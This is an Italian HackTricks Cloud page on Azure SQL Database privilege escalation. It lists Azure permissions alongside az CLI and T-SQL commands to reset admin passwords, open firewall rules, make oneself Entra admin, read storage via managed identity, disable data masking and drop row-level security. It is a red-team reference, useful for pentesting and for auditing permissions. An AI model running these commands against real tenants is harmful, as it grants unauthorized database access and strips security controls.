Az - SQL Database Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
SQL Database Privesc
Per ulteriori informazioni su SQL Database controlla:
Microsoft.Sql/servers/read && Microsoft.Sql/servers/write
Con questi permessi, un utente può eseguire unâescursione dei privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente allâutente di aggiornare le proprietĂ del server, inclusa la password dellâamministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture shadow per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui âMicrosoft Entra Authentication Onlyâ è disabilitato, poichĂŠ possono sfruttare lâautenticazione basata su SQL per ottenere accesso illimitato.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
Inoltre, è necessario avere lâaccesso pubblico abilitato se si desidera accedere da un endpoint non privato. Per abilitarlo:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
Inoltre, con i permessi puoi abilitare lâassegnazione dellâidentitĂ , operare con lâidentitĂ gestita collegata al server. Ad esempio qui con unâidentitĂ gestita che può accedere ad Azure Storage:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Un attaccante può manipolare le regole del firewall sui server Azure SQL per consentire accessi non autorizzati. Questo può essere sfruttato per aprire il server a indirizzi IP specifici o a interi intervalli di IP, inclusi gli IP pubblici, consentendo lâaccesso a attori malevoli. Questa attivitĂ di post-sfruttamento può essere utilizzata per eludere i controlli di sicurezza di rete esistenti, stabilire persistenza o facilitare il movimento laterale allâinterno dellâambiente esponendo risorse sensibili.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Inoltre, il permesso Microsoft.Sql/servers/outboundFirewallRules/delete consente di eliminare una regola del firewall.
NOTA: Ă necessario avere lâaccesso pubblico abilitato.
Microsoft.Sql/servers/ipv6FirewallRules/write
Con questo permesso, puoi creare, modificare o eliminare regole del firewall IPv6 su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di eludere le configurazioni di sicurezza di rete esistenti e ottenere accesso non autorizzato al server. Aggiungendo una regola che consente il traffico da qualsiasi indirizzo IPv6, lâattaccante potrebbe aprire il server allâaccesso esterno.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Inoltre, il permesso Microsoft.Sql/servers/ipv6FirewallRules/delete consente di eliminare una regola del firewall.
NOTA: Ă necessario avere abilitato lâaccesso pubblico.
Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read
Con questi permessi puoi eseguire un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se âMicrosoft Entra Authentication Onlyâ è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare lâamministratore di Azure AD per un server SQL:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read
Con queste autorizzazioni, puoi configurare e applicare âMicrosoft Entra Authentication Onlyâ su un Azure SQL Server, il che potrebbe facilitare lâescalation dei privilegi in determinate situazioni. Un attaccante o un utente autorizzato con queste autorizzazioni può abilitare o disabilitare lâautenticazione solo con Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modifica (o disabilita) le politiche di mascheramento dei dati sui tuoi database SQL.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Rimuovi la Sicurezza a Livello di Riga
Se accedi come admin, puoi rimuovere le politiche dellâadmin stesso e di altri utenti.
DROP SECURITY POLICY [Name_of_policy];
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

